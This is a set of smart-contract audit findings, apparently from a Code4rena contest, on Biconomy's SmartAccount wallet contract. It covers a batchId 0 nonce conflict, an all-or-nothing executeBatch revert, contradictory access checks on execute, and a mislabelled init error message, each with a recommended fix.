If there is a call to execTransaction with batchId set to 0. It will increment the nonce and EntryPoint transactions will revert. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L216

    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) public payable virtual override returns (bool success) {
-------
            nonces[batchId]++;
-------
        }
    }

Tools Used

VS Code

Recommended Mitigation Steps

Add a requirement that batchId is not 0 in execTransaction:

require(batchId != 0, "batchId 0 is used only by EntryPoint")

executeBatch will revert if single transaction fails

If an owner or EntryPoint (according to _requireFromEntryPointOrOwner) calls executeBatch with one transaction out of a batch that will fail, all other transactions in the batch will fail.

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L469

function executeBatch(address[] calldata dest, bytes[] calldata func) external onlyOwner{
        _requireFromEntryPointOrOwner();
--------
        for (uint i = 0; i < dest.length;) {
            _call(dest[i], 0, func[i]);
--------
        }
    }

    function _call(address target, uint256 value, bytes memory data) internal {
        (bool success, bytes memory result) = target.call{value : value}(data);
        if (!success) {
            assembly {
                revert(add(result, 32), mload(result))
            }
        }
    }

Recommendation

Do not revert if call did not succeed, instead emit a log or store the target and data in storage to be later troubleshooted by owner.

---

execute and executeBatch have an onlyOwner modifier

_requireFromEntryPointOrOwner() hints that execute and executeBatch are supposed to be called by an EntryPoint. The current implementation of the function has an onlyOwner modifier and therefore cannot be called by the EntryPoint. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L461

function execute(address dest, uint value, bytes calldata func) external onlyOwner{
        _requireFromEntryPointOrOwner();
------
    }

    function executeBatch(address[] calldata dest, bytes[] calldata func) external onlyOwner{
        _requireFromEntryPointOrOwner();
------
        }

Recommendation

If the functions are supposed to be called by the EntryPoint

• Remove the onlyOwner modifier

If the functions are supposed to be called only by the owner:

• Remove the _requireFromEntryPointOrOwner(); function call.

---

Incorrect error message in init function

The init function reverts if _handler is address(0). The revert message is Invalid Entrypoint when it should be Invalid Handler:

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L171

function init(address _owner, address _entryPointAddress, address _handler) public override initializer { 
------
        require(_handler != address(0), "Invalid Entrypoint");
------
        if (_handler != address(0)) internalSetFallbackHandler(_handler);
------
    }

Recommendation

Change the revert message to Invalid Handler